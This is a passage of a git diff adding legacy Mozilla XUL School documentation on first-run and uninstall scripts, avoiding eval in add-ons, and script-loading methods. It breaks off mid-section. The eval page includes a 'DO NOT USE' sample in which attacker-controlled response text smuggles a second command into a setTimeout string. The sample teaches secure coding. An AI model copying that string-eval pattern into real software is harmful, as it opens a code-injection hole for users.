+<p>Then all we need is some persistent flag that ensures that the first run code is only run once. The best approach in this case is to use a preference, as explained in the <a href="/en/XUL_School/Handling_Preferences" title="en/XUL School/Handling Preferences">Handling Preferences</a> section. So, if we were to use FUEL, we can do the following in the <em>init</em> function:</p>
+
+<pre class="brush: js">init : function() {
+  let firstRunPref =
+    Application.prefs.get("extensions.xulschoolhello.firstRunDone");
+
+  if (!firstRunPref.value) {
+    firstRunPref.value = true;
+    // all the rest of the first run code goes here.
+  }
+}
+</pre>
+
+<p>In this case you would need to declare the first run preference in your default preferences file, with a default value of <em>false</em>. You should also change the preference value before you run any other first run code. Keep in mind that the user could have set multiple Firefox windows to open at startup, so there's a race condition on which window will run the first run code.</p>
+
+<p>If you need to run code on every update, or some of them, the code would be very similar. Instead of a boolean preference, it would be best to use a string preference with the last-installed add-on version. And then do a version comparison to decide which code to run. The current version number can be hard-coded in the first run function, or you can use the Add-on Manager to dynamically get it. This can get tricky with the <a href="/en/Addons/Add-on_Manager/AddonManager" title="en/Addons/Add-on Manager/AddonManager">Firefox 4 AddonManager</a>, so it's probably best to keep it simple.</p>
+
+<h2 id="Uninstall_Scripts">Uninstall Scripts</h2>
+
+<p>There are two common cases for needing these: cleaning up local data and presenting an uninstall feedback form. Regarding local data, it is debatable if it is good practice to remove it or not. If an add-on is uninstalled and later installed again, it might be desirable for preferences and other settings to be kept. Another argument in favor of keeping that data is that Firefox doesn't delete its profile folders after it is uninstalled, so it would be consistent to keep it. On the other hand, local data that is no longer needed takes unnecessary disk space and can contain private information that users forget is there. It's up to the developer's discretion.</p>
+
+<p>Uninstalling an add-on happens in 2 stages: first the add-on is flagged to be uninstalled, and then the add-on is actually removed. In the case of <a href="/en/Extensions/Bootstrapped_extensions" title="en/Extensions/Bootstrapped extensions">Bootstrapped Extensions</a>, both steps happen at the same time. In the case of "traditional" extensions, like those explained in the tutorial, both steps happen at different times. In this case the user is told that Firefox needs to restart in order for the extension to be completely removed. Then the user has the option to restart right away, wait to restart whenever is convenient, or even cancel the uninstall operation. The add-on will not be completely removed until the browser is restarted.</p>
+
+<p>So, in order to detect the first stage, you'll need to add an event listener using the <a href="/en/Addons/Add-on_Manager/AddonManager#addAddonListener%28%29" title="en/Addons/Add-on Manager/AddonManager#addAddonListener()">addAddonListener</a> method. The data parameter explains the action being performed.</p>
+
+<p>If you detect your add-on is going to be uninstalled at this stage, it's a good time to show the uninstall feedback form. It is <strong>not</strong> a good time to clean up your files, at least not without prior user consent. Remember that the user can revert this decision. So, you should listen to other events, like canceling the operation, to make sure that you know what is going on. Set a boolean flag that indicates if your add-on is set to be uninstalled or not, and reset it when necessary.</p>
+
+<p>The second stage is knowing when the application is actually going to be closed. Then you'll have reasonable certainty that the add-on will be removed and you can perform any cleanup operations safely. For this, you need to add an observer for the <a href="/en/Observer_Notifications#Application_shutdown" title="en/Observer Notifications#Application shutdown">quit-application</a> topic. This is when you'll know the application will close. Then you can check the flag you set up on the first stage and perform any necessary deletions. You shouldn't perform very time-consuming operations here, at least not without telling users what is going on.</p>
diff --git a/files/es/mozilla/tech/xul/escuela_xul/apéndice_c_colon__evitar_usar_eval_en_los_add-ons/index.html b/files/es/mozilla/tech/xul/escuela_xul/apéndice_c_colon__evitar_usar_eval_en_los_add-ons/index.html
new file mode 100644
index 0000000000..1fb0b53d94
--- /dev/null
+++ b/files/es/mozilla/tech/xul/escuela_xul/apéndice_c_colon__evitar_usar_eval_en_los_add-ons/index.html
@@ -0,0 +1,210 @@
+---
+title: 'Apéndice C: Evitar usar eval en los Add-ons'
+slug: 'Mozilla/Tech/XUL/Escuela_XUL/Apéndice_C:_Evitar_usar_eval_en_los_Add-ons'
+translation_of: >-
+  Archive/Add-ons/Overlay_Extensions/XUL_School/Appendix_C:_Avoid_using_eval_in_Add-ons
+---
+<div class="blockIndicator warning">
+<p>Support for extensions using XUL/XPCOM or the Add-on SDK was removed in Firefox 57, released November 2017. As there is no supported version of Firefox enabling these technologies, this page will be removed by December 2020.</p>
+</div>
+
+<p>{{LegacyAddonsNotice}}{{AddonSidebar}}</p>
+
+<p>Using <code>eval</code> in extensions is almost always unnecessary, and many times even a security vulnerability. Moreover, code using <code>eval</code> is harder to parse for a human mind, is often pretty complex, and relies on assumptions that are not necessarily true in the future or even now.</p>
+
+<p>This article is aimed at presenting alternatives to common <code>eval</code> uses in add-ons and other Javascript code.</p>
+
+<p>Add-on authors are strongly encouraged to update their code to eliminate all use of <code>eval</code>, no matter if the add-on is to be hosted in the <a class="link-https" href="https://addons.mozilla.org/" title="https://addons.mozilla.org/">Mozilla Add-ons Gallery </a>or not. In order to host your add-on with Mozilla it is crucial to minimize or completely eliminate <code>eval</code> use in order to receive a positive review and have your add-on made public.</p>
+
+<h2 id="Parsing_JSON">Parsing JSON</h2>
+
+<p>Mozilla provides native JSON support since Firefox 3. There is simply no need to parse JSON using <code>eval</code>. Additionally, parsing JSON retrieved from a remote location becomes a security vulnerability when parsed with the <code>eval</code> function. Basically, you are executing remote code with full chrome access; that is, introducing a remote code execution vulnerability. Even if you trust the remote server; for example, because it is one you rent and administer yourself, there is a huge security risk, because of, but not limited to:</p>
+
+<ul>
+ <li>You might discontinue your project or sell it, so that it is possible another person with malicious intentions takes over your domain.</li>
+ <li>The server and/or domain name might be compromised.</li>
+ <li>If using an unencrypted, insecure connection, a Man-in-the-middle attacker might replace the JSON with attack code before it arrives at the user.</li>
+</ul>
+
+<h3 id="Use_Native_JSON">Use Native JSON</h3>
+
+<p>Since Firefox 3.5 you should <a href="/En/Using_native_JSON" title="en/Using native JSON">use native JSON</a>. In Firefox 3.0, you may take a look at {{ Interface("nsIJSON") }} instead. Using native JSON has the added benefit that it is better when validating the input and also a lot faster.</p>
+
+<div class="note"><strong>Note:</strong> Do not use JSON parsers implemented in Javascript. These implementations are less efficient and often also contain serious security vulnerabilities. Such implementations are meant to be used within a very different security context, namely a website, where the origin of the data is usually known in all instances and where vulnerabilities would have a much smaller impact.</div>
+
+<h2 id="Passing_around_functionscode_as_strings">Passing around functions/code as strings</h2>
+
+<p>Often you'll want to pass functions or code to other functions, most notoriously <a href="/en/DOM/window.setTimeout" title="en/DOM/window.setTimeout">setTimeout</a> and <a href="/en/DOM/element.addEventListener" title="en/DOM/element.addEventListener">addEventListener</a>. Often this is achieved by a hack "function/code as string" technique.</p>
+
+<pre class="brush: js">// DO NOT USE
+setTimeout("doSomething();", 100);
+addEventListener("load", "myAddon.init(); myAddon.onLoad();", true);
+setInterval(am_I_a_string_or_function_reference_qmark, 100);
+</pre>
+
+<p>That in itself is certainly not elegant, but it may also become a security issue if you construct the passed code with externally provided data:</p>
+
+<pre class="brush: js">// DO NOT USE
+setTimeout("alert('" + xhr.responseText + "');", 100);
+// Attacker manipulated responseText to contain "attack!'); format_computer(); alert('done"
+setTimeout("alert('attack!'); format_computer(); alert('done');", 100);
+</pre>
+
+<p>As a general rule of thumb, just don't pass code around as strings and execute it by calling <code>eval</code>, <code>setTimeout</code> and friends.</p>
+
+<h3 id="Alternative_Use_(anonymous)_functions">Alternative: Use (anonymous) functions</h3>
+
+<p>You can always create a small anonymous function to pass around instead. Closures will ensure the code is still valid, even if your outer function already returned from execution.</p>
+
+<pre class="brush: js">addEventListener("load", function() { myAddon.init(); myAddon.onLoad(); }, true);
+function doXHR() {
+  //...
+  var response = xhr.responseText;
+  setTimeout(function() { alert(response); }, 100);
+}
+</pre>
+
+<h3 id="Alternative_Use_Function.bind">Alternative: Use Function.bind</h3>
+
+<p>Function.bind is a new utility function that you may use to (partially) bind parameters to functions.</p>
+
+<pre class="brush: js">addEventListener("load", myAddon.init.bind(myAddon), true);
+setTimeout(alert.bind(null, xhr.responseText), 100);
+</pre>
+
+<h2 id="OverridingExtending_existing_functions">Overriding/Extending existing functions</h2>
+
+<p>A common thing add-ons do during their initialization is overriding/extending existing browser functions by using <code>Function.toString</code>/<code>Function.toSource</code> and <code>eval</code> to "string-patch" the function body.</p>
+
+<pre class="brush: js">// DO NOT USE
+var functionBody = gBrowser.addTab.toSource();
+var afterBracket = functionBody.indexOf("{"} + 1;
+functionBody = functionBody.substring(0, afterBracket) + "myAddon.onAddTab(aURI);" + functionBody.substring(afterBracket);
+eval("gBrowser.addTab = " + functionBody);
+</pre>
+
+<p>Of course, this not only looks messy, but can be quite error prone.</p>
+
+<ul>
+ <li>Other extensions might do something similar, but a little different, ending up with completely broken code.</li>
+ <li>The code is hard to read and by that hard to maintain and review. (The example is a quite simple one. In real life such code is often far more complex)</li>
+ <li>The code might break in the future, as certain assumptions might not longer be true, for example the function signature may change (aURI from above becomes aURL) or the function is replaced by a shorthand not containing bracket:
+  <pre class="brush: js">function addTab(aURI) tabBrowser.addTab(aURI);
+  </pre>
+ </li>
+</ul>
+
+<p>Like with "Passing functions/code as strings" above, patching function to include some external data will create security vulnerabilities.</p>
+
+<h3 id="Alternative_Replace_Function.apply">Alternative: Replace + Function.apply</h3>
+
+<p>You may replace the original function with a new function, keeping a reference to the original function which you then call from the new one.</p>
+
+<pre class="brush: js">(function() {
+  var _original = gBrowser.addTab; // Reference to the original function
+  gBrowser.addTab = function() {
+    // Execute before
+    try {
+        myAddon.onAddTab(arguments[0]);
+    } catch (ex) { /* might handle this */ }
+    // Execute original function
+    var rv = _original.apply(gBrowser, arguments);
+    // execute afterwards
+    try {
+      myAddon.doneAddTab(rv);
+    } catch (ex) { /* might handle this */ }
+
+    // return the original result
+    return rv;
+  };
+})();
+</pre>
+
+<p>This is admittedly more verbose, but at the same time it should be easier to understand.</p>
+
+<ul>
+ <li>You don't have to parse in your mind what the resulting function will look like.</li>
+ <li>There won't be any problems if various Add-ons employ this method with the same function.</li>
+ <li>You don't have to care about parameter naming or short-hand functions.</li>
+</ul>
+
+<div class="note"><strong>Note:</strong> It is not safe to remove such an override again, as this method constitutes in a single-linked function chain. If you want to disable your overrides again, then use a flag indicating that, or similar. At the same time, it is also not safe to "un-string-patch" a function, for the exact same reason.</div>
+
+<div class="note"><strong>Note:</strong> There are still some scenarios where incompatibilities may arise, such as trying to cancel the function call under a certain set of conditions when other Add-ons have overridden the same function. Again, this is a problem with the "string-patch" method, too. How to handle this is inter-Add-on specific and not addressed in this article.</div>
+
+<h2 id="Triggering_event_handlers">Triggering event handlers</h2>
+
+<p>Sometimes scripts might want to manually trigger an event handler that is defined directly in the XUL document. Consider the following XUL fragment throughout the rest of this section.</p>
+
+<pre class="brush: xml">&lt;menuitem id="mymenu" oncommand="executeSomething; executeSomethingElse();"/&gt;
+&lt;label id="mylabel" onclick="executeSomething; executeSomethingElse();"/&gt;
+</pre>
+
+<p>Add-on authors commonly use <code>eval</code> to trigger the handlers.</p>
+
+<pre class="brush: js">// DO NOT USE
+eval(document.getElementById("mymenu").getAttribute("oncommand"));
+eval(document.getElementById("mylabel").getAttribute("onclick"));
+</pre>
+
+<h3 id="Alternative_Dispatch_real_events">Alternative: Dispatch real events</h3>
+
+<p>Dispatching real events has the added bonus that all other event listeners for that Element (and the corresponding bubbling/capturing chain) will fire as well, so this method will have the closed resemblance to a real user event.</p>
+
+<pre class="brush: js">// Fake a command event
+var event = document.createEvent("Events");
+event.initEvent("command", true, true);
+document.getElementById("mymenu").dispatchEvent(event);
+
+// Fake a mouse click
+var mouseEvent = document.createEvent("MouseEvents");
+event.initMouseEvent("click", true, true, window, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
+document.getElementById("mylabel").dispatchEvent(mouseEvent);
+</pre>
+
+<p>Please see the corresponding documentation on how to use and initialize particular event types.</p>
+
+<h3 id="Alternative_Element.doCommand()">Alternative: Element.doCommand()</h3>
+
+<p>Elements that have a command (<code>oncommand</code>) assigned will also have a working <code>doCommand</code> method.</p>
+
+<pre class="brush: js">document.getElementById("mymenu").doCommand();
+</pre>
+
+<h2 id="Accessing_properties_via_computed_names">Accessing properties via computed names</h2>
+
+<p>Not that common anymore, but still existing, are Add-Ons or other Javascript programs that access object properties using <code>eval</code> when the property name is not a literal, but computed on the fly.</p>
+
+<pre class="brush: js">//DO NOT USE
+eval("myAddon.phrases.word" + word + " = '" + phrase + "';");</pre>
+
+<p>Again, this is not only unnecessarily hard to parse for a human, but may also contain security vulnerabilities if you compute the names using external data.</p>
+
+<h3 id="Alternative_Using_bracket-access_to_object_properties">Alternative: Using bracket-access to object properties</h3>
+
+<p>Object properties can always accessed using the bracket syntax:</p>
+
+<pre class="brush: js">obj["property"] === obj.property
+</pre>
+
+<p>Hence the following will just work without having to resort to <code>eval</code>.</p>
+
+<pre class="brush: js">myAddon.phrases["word" + word] = "phrase";
+</pre>
+
+<h2 id="Special_thanks">Special thanks</h2>
+
+<p>Special thanks goes to Wladimir Palant of Adblock Plus, who wrote <a class="link-https" href="https://adblockplus.org/blog/five-wrong-reasons-to-use-eval-in-an-extension" title="https://adblockplus.org/blog/five-wrong-reasons-to-use-eval-in-an-extension">an article</a> years back which heavily inspired this one.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/En/Using_native_JSON" title="en/Using native JSON">Native JSON</a></li>
+ <li>{{ Interface("nsIJSON") }}</li>
+ <li><a href="/en/JSON" title="en/JSON">JSON</a></li>
+ <li><a href="/en/JavaScript/Reference/Global_Objects/Function/bind" title="en/JavaScript/Reference/Global Objects/Function/bind">Function.bind</a></li>
+ <li><a href="/en/JavaScript/Reference/Global_Objects/Function/apply" title="en/JavaScript/Reference/Global Objects/Function/apply">Function.apply</a></li>
+ <li><a href="/en/XUL/Method/doCommand" title="en/XUL/Method/doCommand">Element.doCommand</a></li>
+ <li><a href="/en/DOM/document.createElement" title="en/DOM/document.createElement">document.createEvent</a></li>
+ <li><a href="/en/DOM/event.initEvent" title="en/DOM/event.initEvent">event.initEvent</a></li>
+</ul>
diff --git a/files/es/mozilla/tech/xul/escuela_xul/apéndice_d_colon__cargar_scripts/index.html b/files/es/mozilla/tech/xul/escuela_xul/apéndice_d_colon__cargar_scripts/index.html
new file mode 100644
index 0000000000..e282486a46
--- /dev/null
+++ b/files/es/mozilla/tech/xul/escuela_xul/apéndice_d_colon__cargar_scripts/index.html
@@ -0,0 +1,304 @@
+---
+title: 'Apéndice D: Cargar Scripts'
+slug: 'Mozilla/Tech/XUL/Escuela_XUL/Apéndice_D:_Cargar_Scripts'
+translation_of: 'Archive/Add-ons/Overlay_Extensions/XUL_School/Appendix_D:_Loading_Scripts'
+---
+<div class="blockIndicator warning">
+<p>Support for extensions using XUL/XPCOM or the Add-on SDK was removed in Firefox 57, released November 2017. As there is no supported version of Firefox enabling these technologies, this page will be removed by December 2020.</p>
+</div>
+
+<p>{{LegacyAddonsNotice}}{{AddonSidebar}}</p>
+
+<p>Most add-ons and XUL Runner applications provide their primary functionality by loading and executing JavaScript code. Because there are such a diverse array of add-ons, and because the needs of developers have grown organically over time, the Gecko runtime provides a number of means to dynamically load and execute JavaScript files. Each of these means has its own advantages and disadvantages, as well as its own quirks which may trap the unwary. Below is an overview of the more common means of loading scripts, along with some of their primary advantages, disadvantages, quirks, and use cases.</p>
+
+<p>The examples below which make use of the <code>Services</code> global assume that you're previously imported the <a href="/en/JavaScript_code_modules/Services.jsm" title="en/JavaScript_code_modules/Services.jsm">Services.jsm</a> module. As this module only exists on Firefox 4 and other Gecko 2-based platforms, the services in question will have to be manually loaded on other platforms.</p>
+
+<p> </p>
+
+<h2 id="&lt;script>_tags">&lt;script&gt; tags</h2>
+
+<p> </p>
+
+<p>XUL <a href="/en/XUL/script" title="en/XUL/script">script tags</a> are traditionally the primary means of loading scripts for extension developers. These tags are generally inserted into XUL overlay files or other XUL documents, after which they are automatically loaded into the context of the XUL window in question and executed immediately and synchronously.</p>
+
+<h3 id="Advantages">Advantages</h3>
+
+<ul>
+ <li><strong>Familiarity:</strong> These tags are very similar to the HTML script tags familiar to most web developers.</li>
+ <li><strong>Simplicity:</strong> The simple, declarative nature of these tags make them easy to find and understand at a glance.</li>
+ <li><strong>Speed:</strong> Script tags may or may not be loaded from pre-compiled bytecode in the fastload cache (Gecko 1.x) or startup cache (Gecko 2), which means they don't necessarily need to read as source and compiled with each restart.</li>
+ <li><strong>Flexibility:</strong> Script tags provide a means to specify the character set and JavaScript version of the scripts to be loaded, which many other methods do not.</li>
+ <li><strong>Debuggable</strong>: development tools support debugging JavaScript loaded by script tags</li>
+</ul>
+
+<h3 id="Disadvantages">Disadvantages</h3>
+
+<ul>
+ <li><strong>Scoping:</strong> Scripts loaded via script tags share the global scope with all other scripts loaded into the same window. These tags provide no means to load scripts into a private or otherwise specific scope.</li>
+ <li><strong>Speed:</strong> Even if these scripts are loaded from a cache, only read and compile time are reduced. The scripts still need to execute all of their initialization code and allocate and initialize all of their data structures each time the script is loaded.</li>
+ <li><strong>Loading:</strong> Script loaded via script tags run in partially loaded documents. Problems can ensue if the script immediately attempts to access DOM nodes. This is easily resolved by deferring the work to a dynamically added onload hander. (A standalone XUL window can use an onload attribute.)</li>
+</ul>
+
+<h3 id="Example">Example</h3>
+
+<p>The following overlay will load the script “overlay.js” from the same directory as the overlay file into the window which it overlays. The script will be read with the UTF-8 encoding, based on the encoding of the overlay, and will execute as JavaScript <a href="/en/JavaScript/New_in_JavaScript/1.8" title="en/JavaScript/New_in_JavaScript/1.8">version 1.8</a>, based on the version specified in the script tag.</p>
+
+<pre class="brush: xml">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+
+&lt;!DOCTYPE overlay&gt;
+
+&lt;overlay id="script-overlay"
+         xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
+
+    &lt;script type="application/javascript;version=1.8" src="overlay.js"/&gt;
+
+&lt;/overlay&gt;</pre>
+
+<h2 id="evalInSandbox">evalInSandbox</h2>
+
+<p>The <a href="/en/Components.utils.evalInSandbox" title="en/Components.utils.evalInSandbox"><code>Components.utils.evalInSandbox</code></a> method may be used to load arbitrary code into <a href="/en/Components.utils.Sandbox" title="en/Components.utils.Sandbox"><code>Components.utils.Sandbox</code></a> objects. JavaScript files or URLs may be loaded in this manner by first retrieving their contents into memory using an <a href="/en/nsIXMLHttpRequest" title="en/XMLHttpRequest"><code>XMLHttpRequest</code></a>. This is the method used by Jetpack's securable module system to load nearly all executable code.</p>
+
+<h3 id="Advantages_2">Advantages</h3>
+
+<ul>
+ <li><strong>Namespacing</strong>: Since scripts executed via <code>evalInSandbox</code> run in a defined namespace, global namespace contamination and the resultant extension compatibility issues are not usually a problem.</li>
+ <li><strong>Flexibility:</strong> The <code>evalInSandbox</code> method accepts several parameters, including the URL, line number, and JavaScript version of the file from which the code being evaluated was extracted. This information is invaluable for debugging, and the flexibility with which it can be specified makes this method useful for extracting JavaScript from a number of file formats other than raw JavaScript scripts. Additionally, as Sandbox objects can be created with an arbitrary prototype object, the evaluated code can be given access to the global properties of any existing scope.</li>
+ <li><strong>Security:</strong> <code>Sandbox</code> objects are initialized with a security principal object, or otherwise a window or URL from which to derive one. This means that <code>evalInSandbox</code> can be used to execute code with a specified privilege level rather than full chrome privileges. Beyond this, the scope of the Sandbox can be augmented or rarified to add or remove privileges as necessary. Under ordinary circumstances, native objects passed out of Sandboxes are wrapped in <a href="/en/XPConnect_security_membranes#section_2" title="en/XPConnect_security_membranes#section_2"><code>XrayWrapper</code></a> objects, which means that only native properties of these objects are directly exposed to privileged code. This behavior can be reversed by setting the <code>wantsXrays</code> parameter to false when constructing the <code>Sandbox</code>.</li>
+</ul>
+
+<h3 id="Disadvantages_2">Disadvantages</h3>
+
+<ul>
+ <li><strong>Performance:</strong> There are several significant performance disadvantages inherent in this method:
+
+  <ul>
+   <li>There is currently no way to load code into sandboxes from a cache. This means that code must be compiled and executed anew each time it is loaded, which has a significant overhead for large code bases.</li>
+   <li>In addition to compile time, reading files synchronously from disk has its own overhead, and <code>XMLHttpRequests</code> have significantly more overhead than native loading methods.</li>
+   <li>Although wary authors can choose to cache instances of their modules so that modules are loaded only once globally, this method can be easily misused to re-load scripts for each new window where they would be better loaded only once globally per session.</li>
+   <li>Because Sandbox objects are evaluated in their own <a href="/en/XPConnect_security_membranes" title="en/XPConnect_security_membranes">javascript compartment</a>, they are separated by a membrane from other JavaScript code. This means that any and all JavaScript objects passed in our out of them are wrapped in inter-compartment Proxy objects, which consume additional memory and add an extra layer of complexity to all property accesses and method calls.</li>
+  </ul>
+ </li>
+ <li><strong>JavaScript compartments</strong>: As noted above, each Sandbox executes in its own <a href="/en/XPConnect_security_membranes" title="en/XPConnect_security_membranes">javascript compartment</a>. In addition to the possible performance concerns, passing data between these compartments is not entirely transparent. Some known issues include:
+  <ul>
+   <li>E4X XML objects cannot be wrapped for passage between compartments: {{ Bug(613142) }}</li>
+   <li>There are a number of type detection issues, including:
+    <ul>
+     <li>String.replace does not recognize RegExp objects from foreign compartments: {{ Bug(633830) }}</li>
+    </ul>
+   </li>
+  </ul>
+ </li>
+ <li><strong>Debugging:</strong> Support for Sandbox evaluation in development tools is uneven. Chromebug supports Firebug based Sandboxes.</li>
+</ul>
+
+<h3 id="Examples">Examples</h3>
+
+<p>The following code will execute a simple script in a Sandbox with the privilege level of the current content page. The globals of the current content window will be available in the scripts global scope. In stack traces, the script will appear to have been loaded from the file "<code><span class="nowiki">zz-9://plural/zed/alpha</span></code>", line <code>42</code>.</p>
+
+<pre class="brush: js">// Use the current content window as the execution context.
+// To make properties defined by scripts executing on the page
+// available to your sandbox script, use content.wrappedJSObject
+// instead.
+let context = content;
+
+// Create the Sandbox
+let sandbox = Components.utils.Sandbox(context, {
+    // Make properties of the context object available via the
+    // script's global scope
+    sandboxPrototype: context,
+    // Wrap objects retrieved from the sandbox in XPCNativeWrappers.
+    // This is the default action.
+    wantXrays: true
+});
+
+// The script that will be executed:
+let script = String();
+
+// Evaluate the script:
+Components.utils.evalInSandbox(script, sandbox,
+                               // The JavaScript version
+                               "1.8",
+                               // The apparent script filename:
+                               "zz-9://plural/zed/alpha",
+                               // The apparent script starting line number:
+                               42);
+</pre>
+
+<p>The following code will execute a simple script loaded from a local file in the same directory as the current script. The script will execute in the same security context as the current script and will have access to the same globals, but any new globals it creates will be accessible only to the script itself. Objects passed out of the sandbox will not be wrapped in <a href="/en/XPCNativeWrapper" title="en/XPCNativeWrapper"><code>XPCNativeWrapper</code></a>s but will still be wrapped in inter-compartment proxies.</p>
+
+<pre class="brush: js">const XMLHttpRequest = Components.Constructor("@mozilla.org/xmlextras/xmlhttprequest;1",
+                                              "nsIXMLHttpRequest",
+                                              "open");
+
+function loadScript(name, context) {
+    // Create the Sandbox
+    let sandbox = Components.utils.Sandbox(context, {
+        sandboxPrototype: context,
+        wantXrays: false
+    });
+
+    // Get the caller's filename
+    let file = Components.caller.stack.filename;
+    // Strip off any prefixes added by the sub-script loader
+    // and the trailing filename
+    let directory = file.replace(/.* -&gt; |[^\/]+$/g, "");
+    let scriptName = directory + name;
+
+    // Read the script
+    let xmlhttp = XMLHttpRequest("GET", scriptName, false);
+    xmlhttp.overrideMimeType("text/plain");
+    xmlhttp.send();
+    let script = xmlhttp.textContent;
+
+    // Evaluate the script:
+    Components.utils.evalInSandbox(script, sandbox,
+                                   "1.8", scriptName, 0);
+}
+
+
+// Use the current global object.
+// The following may be used instead at the top-level:
+//
+// let context = this
+if (Components.utils.getGlobalForObject)
+    // Gecko 2.x
+    var context = Components.utils.getGlobalForObject({});
+else
+    // Gecko 1.x
+    context = {}.__parent__;
+
+loadScript("script.js", context);
+</pre>
+
+<h2 id="The_Sub-Script_Loader">The Sub-Script Loader</h2>
+
+<p>The {{ interface("mozIJSSubScriptLoader") }} can be used to load local scripts from the <code>chrome:</code>, <code>resource:</code>, and <code>file:</code> protocols into any JavaScript object. Any new globals created by this script are defined as properties of this object. Additionally, any properties of the target object are available as variables in the script's global namespace, along with as any properties of the global associated with the target object. These scripts execute with the same privileges and restrictions of the global associated with the target object, and this method can therefore also be used when with <a href="/en/Components.utils.Sandbox" title="en/Components.utils.Sandbox"><code>Sandbox</code></a> objects with the same effect as <a href="/en/Components.utils.evalInSandbox" title="en/Components.utils.evalInSandbox"><code>evalInSandbox</code></a> and into content windows with the same effect as injecting script tags into their documents.</p>
+
+<h3 id="Advantages_3">Advantages</h3>
+
+<ul>
+ <li><strong>Namespacing</strong>: Global namespace contamination and the resultant extension compatibility issues can often be avoided by loading sub-scripts into private namespaces.</li>
+ <li><strong>Flexibility</strong>: The sub-script loader can load scripts into a variety of different namespaces for a wide variety of uses, and as of Gecko 2 allows the character set of the script to be specified.</li>
+ <li><strong>Performance</strong>: As of Gecko 8.0, scripts loaded via {{ ifmethod("mozIJSSubScriptLoader", "loadSubScript") }} are loaded from a cache. Unlike modules, however, scripts are still executed each time they are loaded and therefore still suffer performance and memory disadvantages over that method.</li>
+ <li>When loading into a Sandbox object, the same advantages apply as above.</li>
+</ul>
+
+<h3 id="Disadvantages_3">Disadvantages</h3>
+
+<ul>
+ <li><strong>Performance</strong>: Prior to Gecko 8.0, scripts loaded via {{ ifmethod("mozIJSSubScriptLoader", "loadSubScript") }} are not loaded from a cache, and therefore must be read and compiled each time they are loaded which has a significant overhead for large code bases. Although wary authors can choose to cache instances of their modules so that modules are loaded only once globally, this method can be easily misused to re-load scripts for each new window where they would be better loaded only once globally per session.</li>
+ <li>Non-chrome files loaded in this manner will have the current filename prefixed to the filename in their debugging information. For instance, the file “<code><span class="nowiki">resource://foo/bar.js</span></code>” loaded from “<code><span class="nowiki">resource://foo/baz.js</span></code>” will appear as “<code><span class="nowiki">resource://foo/baz.js -&gt; resource://foo/bar.js</span></code>” in stack traces.</li>
+ <li>When loading into a Sandbox object, the same disadvantages apply as above.</li>
+</ul>
+
+<h3 id="Examples_2">Examples</h3>
+
+<p>The following code will load a script into its own context. The script will execute with the security principal of and have access to the global properties of the current global.</p>
+
+<pre class="brush: js">let context = {};
+Services.scriptloader.loadSubScript("chrome://my-package/content/foo-script.js",
+                                    context, "UTF-8" /* The script's encoding */);
+</pre>
+
+<p>The following code will execute a simple script loaded from a local file in the same directory as the current script. The script will execute in the same security context as the current script and will have access to the same globals, but any new globals it creates will be accessible only to the script itself. Objects passed out of the sandbox will not be wrapped in <code>XPCNativeWrapper</code>s but will still be wrapped in inter-compartment proxies.</p>
+
+<pre class="brush: js">function loadScript(name, context) {
+    // Create the Sandbox
+    let sandbox = Components.utils.Sandbox(context, {
+        sandboxPrototype: context,
+        wantXrays: false
+    });
+
+    // Get the caller's filename
+    let file = Components.caller.stack.filename;
+    // Strip off any prefixes added by the sub-script loader
+    // and the trailing filename
+    let directory = file.replace(/.* -&gt; |[^\/]+$/g, "");
+
+    Services.scriptloader.loadSubScript(directory + name,
+                                        sandbox, "UTF-8");
+}
+
+loadScript("foo.js", this);
+</pre>
+
+<h2 id="JavaScript_modules">JavaScript modules</h2>
+
+<p><a href="/en/JavaScript_code_modules/Using" title="en/JavaScript_code_modules/Using">JavaScript modules</a> are used to efficiently load scripts into their own global namespaces. Because these scripts are loaded from a bytecode cache, and the same scripts are loaded only once per session no matter how many times they are imported, this is one of the most performant methods of script loading.</p>
+
+<h3 id="Advantages_4">Advantages</h3>
+
+<ul>
+ <li><strong>Performance</strong>: JavaScript modules are stored in a pre-compiled format in a cache, and therefore load with significantly less overhead than other types of scripts. Additionally, scripts are loaded only once globally per session, and therefore have virtually no overhead for multiple imports.</li>
+ <li><strong>Namespacing</strong>: JavaScript modules, like JavaScript components, are loaded into their own private scope. Namespace contamination and the resulting compatibility issues are only an issue when they are imported into shared global namespaces.</li>
+ <li><strong>Data sharing</strong>: As modules are loaded only once globally, every import has access to the same data and global variables no matter what context or window it was imported from. JavaScript modules can therefor be used for communication and data sharing between otherwise isolated contexts.</li>
+ <li><strong>Debugging</strong>: Chromebug (at least) can list Component.utils modules and single step through them.</li>
+</ul>
+
+<h3 id="Disadvantages_4">Disadvantages</h3>
+
+<ul>
+ <li><strong>Namespacing:</strong> As modules always execute with their own namespace, they have no direct access to the DOM or window properties of windows or documents, and therefore must often pass around references to these objects and any document-specific state data that they require.</li>
+</ul>
+
+<h3 id="Examples_3">Examples</h3>
+
+<p>The following code will import a module into the current global scope. All variables named in the target script's EXPORTED_SYMBOLS global array will be copied into the current execution context.</p>
+
+<pre class="brush: js">Components.utils.import("resource://my-package/my-module.jsm");
+</pre>
+
+<p>The following function will import an arbitrary module into a singleton object, which it returns. If the argument is not an absolute path, the module is imported relative to the caller's filename.</p>
+
+<pre class="brush: js">function module(uri) {
+    if (!/^[a-z-]+:/.exec(uri))
+        uri = /([^ ]+\/)[^\/]+$/.exec(Components.stack.caller.filename)[1] + uri + ".jsm";
+
+    let obj = {};
+    Components.utils.import(uri, obj);
+    return obj;
+}
+</pre>
+
+<p>Given the above code, the following code will import the module "my-module.jsm" from the current directory and define the symbols <code>foo</code> and <code>bar</code> from that module in the current scope. It will also import the symbol <code>Services</code> from the standard <code>Services.jsm</code> module.</p>
+
+<pre class="brush: js">const { Services } = module("resource://gre/modules/Services.jsm");
+const { bar, foo } = module("my-module");
+</pre>
+
+<h2 id="DOM_Workers_Worker_and_ChromeWorker">DOM Workers: Worker and ChromeWorker</h2>
+
+<p><a href="/En/Using_workers_in_extensions" title="En/Using_workers_in_extensions">DOM Workers</a> can be used to load scripts into their own global contexts which run in their own threads. In order to ensure thread safety, these contexts are extremely limited, can't be passed JavaScript objects, and have no access to the DOM. All communication between these contexts and outer contexts is marshalled through <a href="/en/JSON" title="en/JSON">JSON</a> encoding and decoding. <a href="/en/DOM/ChromeWorker" title="en/DOM/ChromeWorker"><code>ChromeWorker</code></a>s also have access to <code>ctypes</code> and a limited number of thread safe XPCOM classes, but are otherwise limited to simple computation based on data passed via messages and <code>XMLHttpRequests</code>.</p>
+
+<h3 id="Advantages_5">Advantages</h3>
+
